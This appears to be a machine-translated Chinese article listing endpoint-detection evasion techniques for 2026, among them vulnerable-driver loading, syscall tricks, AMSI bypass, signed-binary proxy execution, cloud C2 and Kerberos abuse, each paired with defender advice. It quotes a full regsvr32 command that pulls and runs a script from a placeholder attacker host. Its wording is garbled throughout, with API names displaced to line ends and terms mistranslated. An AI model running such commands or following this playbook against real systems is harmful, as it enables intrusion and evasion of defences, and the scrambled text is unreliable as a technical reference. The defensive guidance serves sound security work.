每个EDR厂商演示都会在某个2019年的钴蓝版PowerShell脚本周围显示一个红圈。与此同时,你们组织刚刚付费的红队参与项目完全没有使用这些,干净利落地绕过了EDR,最终以域名管理员结束。发生了什么变化?

两点。首先,EDR趋同于类似的检测态势——内核回调、在一小部分DLL中设置用户模式钩子、对云后端的遥测、偶尔的内存扫描。其次,攻击者知道这一点。2019年的技术(解钩、直接系统调用、睡眠混淆)现在已成为基本原则;有趣的工作已经深入了。ntdll

这是运营商列出的2026年实际对生产EDR有效的措施,以及——对于正在阅读的辩护方——应添加哪些内容来弥补每个差距。

基线:几乎所有EDR都在做的事情

在有趣的技术出现之前,共享的检测结果是:

  • 内核回调 — , , , , 。这些程序在进程创建、处理操作、注册表访问、线程创建时触发。PsSetCreateProcessNotifyRoutineObRegisterCallbacksCmRegisterCallbackPsSetCreateThreadNotifyRoutine

  • 用户模式钩子——在(有时还有 , , )中的内联钩子,在允许真实系统调用通过前将调用重定向到EDR的遥测信道。ntdll.dllkernel32advapi32crypt32

  • ETW提供商——Microsoft的Windows事件追踪,特别是提供者和。Microsoft-Windows-Threat-IntelligenceMicrosoft-Antimalware-Scan-Interface

  • AMSI — 反恶意软件扫描接口,用于脚本引擎(PowerShell、JScript、VBScript、WMI)的进程扫描。

  • 内存扫描——周期性或触发扫描进程内存,寻找已知的不良签名。

  • 行为/机器学习后端——用于评分进程树和网络模式的云管道。

几乎所有主流EDR都有这六种。差异主要体现在覆盖完整性和云内相关性上。以下技术针对这种收敛。

有效的方法

1. 内核模式 BYOVD(带入你自己的脆弱驱动)

这仍然是2026年对抗EDR信号最高的技术。工作流程:

  • 加载一个签名但脆弱的司机(“靠地生活司机”项目——对他们进行了目录编目)。LOLDrivers

  • 驱动单元运行在环0,位于EDR用户模式钩子上方。

  • 从环0开始,移除EDR的内核回调(条目),解开驱动的IRP处理程序,或直接终止EDR进程。PsSetCreateProcessNotifyRoutineEx

Microsoft的驱动阻挡列表自2022年起发布,现已在Windows 11 24H2中默认启用,但该列表存在延迟。新的易受攻击司机出现的速度比区块还快。在我们自己的战斗中,LOLDrivers依然能干净利落地对抗多个EDR。

MITRE地图:(削弱防御系统)附有签署的司机虐待行为细节。T1562.001

防守者需要:启用 Microsoft 易受攻击驱动黑名单,监控新内核驱动加载(Sysmon 事件 6),并强制执行超出“已签名”的驱动程序签名策略。

2. 用户模式挂钩绕过的硬件断点

老方法:通过从磁盘读取新副本并重写挂钩函数来解钩。大声 — EDR检测到内存写入区域并对页面进行页面保护。ntdllntdll

2025+的做法:不要解钩。在EDR的内联钩子上设置硬件断点,当断点到达时,使用调试寄存器跳过钩子,跳转到真正的系统调用存根。EDR的内存页从未被修改。来自进程外部调用包裹API的用户不受影响。根据EDR的遥测,你的过程调用的是完全不同的东西。

公共引用实现大约是—— 。该技术足够稳定,现在已进入操作员培训课程。TamperingSyscallsHWSyscalls

MITRE地图:链条和家族规避。T1055.001T1027

防守者需要:通过ETW寻找具有异常DR0-DR3寄存器状态的进程,特别是符号地址上的。Falcon风格的行为检测通过不寻常的API调用序列捕捉到部分此类情况。ntdll

3. 带有返回地址伪造的间接系统调用

直接系统调用(来自随机模块的指令)通过返回地址检查检测——EDR检查呼叫者的返回地址是否在 。间接系统调用通过查找系统调用存根,然后跳转到 的 段内执行指令。这能击败天真的堆栈行走检定。syscallntdllsyscallntdll.text

回信地址伪造更进一步:重写堆栈,使呼叫看起来像是来自合法位置。结合间接系统调用,这会击败当前基于栈的检测技术。

MITRE地图:变体。T1055

防守者需要:内核端遥测数据,在系统调用时捕获系统调用号和实际的CS:RIP,而非用户模式堆栈检查。一些EDR开始加入这个功能;大多数人都不是。

4. 通过上下文旁通实现AMSI补丁

静态AMSI补丁(例如NOP)被简单检测——字节模式被签名。现代绕过针对AMSI上下文结构本身:AmsiScanBuffer

// Find the AmsiContext, corrupt the Session field
// so AmsiScanBuffer returns clean without patching bytes

在众所周知的补丁偏移量处,字节从未改变。行为会改变。没有内存完整性警报。

Sean Metcalf 和其他研究人员一直保持着 AMSI 绕过的讨论;2026 版本基于上下文操作,并融入了正常的 PowerShell 进程行为。

MITRE地图:(针对AMSI特定)。T1562.001

防守者需要:将PowerShell限制为受限语言模式。明确记录AMSI故障(在某些设置中记录为事件1116-1119;请查看你的)。完全禁用PowerShell v2。

5. LOLBAS + 签名二进制代理执行

不新鲜。还在工作。带有执行路径的Microsoft签名二进制文件攻击者可以劫持:

  • MSBuild.exe从XML执行任意内联任务

  • InstallUtil.exe运行任意管理装配

  • regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll(经典的“Squiblydoo”)

  • mshta.exe运行远程HTA文件

  • rundll32其中 ,对于 -style 行为-sta.hta

  • cscript/wscript用于JScript/VBScript。

由Microsoft签署。默认列入白名单。执行攻击者代码。绕过的意思是“进程由 Microsoft 签署”不是安全属性。

MITRE地图:变体。T1218

防守者需要:AppLocker 或 WDAC(Windows Defender 应用控制)需要合适的允许列表——而不仅仅是“Microsoft 签名”。屏蔽或严格监控那些在你环境中没有合法用途的LOLBAS二进制文件。

6. 云优先有效载荷交付

EDR在端点的工作是特征和行为检测。交付端的EDR规避已经进入云端。图案:

  • 负载部署在Slack、Discord、Notion、SharePoint或合法CDN(Cloudflare、GitHub Pages)上——绝不会随机VPS。

  • C2流量通过同一个通道隧道。现代的C2框架(Sliver、Havoc、Nighthawk)有使用CDN基础设施并融入普通HTTPS的域前台替代方案。

  • 信标抖动和睡眠混淆,时间看起来像定期的协作应用投票。

EDR看到的是出厂HTTPS。其他一切都在TLS之后。没有TLS检查的出口DLP几乎抓不到任何东西。slack.exe

MITRE 地图:(网络协议),(非对称密码学)。T1071.001T1573.002

防守者需要:在可能的情况下进行撤离TLS检查;按进程进行出口网络基线(应有明确定义的目的地集);DNS日志和查询模式分析。slack.exe

7. 现代代币滥用与Kerberos的手法

一旦登录,凭证访问变得更安静了:

  • S4U2self + S4U2proxy针对RBCD易受影响对象的链()。msDS-AllowedToActOnBehalfOfOtherIdentity

  • 通过LSASS相关的API操作Kerberos工单(不是——那会让每个EDR都亮起来)。sekurlsa::logonpasswords

  • ntdsutil 是从具有 DCSync 等效权限的域控制器中获得的,而不是 Mimikatz。

  • 证书服务滥用(认证二手车技术)——安静、强大,仍然未被发现。

MITRE 地图:(Kerberos)、(Kerberoasting)、(证书滥用)。T1550.003T1558.003T1552.004

防守者需要:受限委派审计、RBCD监控、ADCS攻击路径感知、DPAPI密钥监控、MDI(Microsoft Defender for Identity)或等效技术。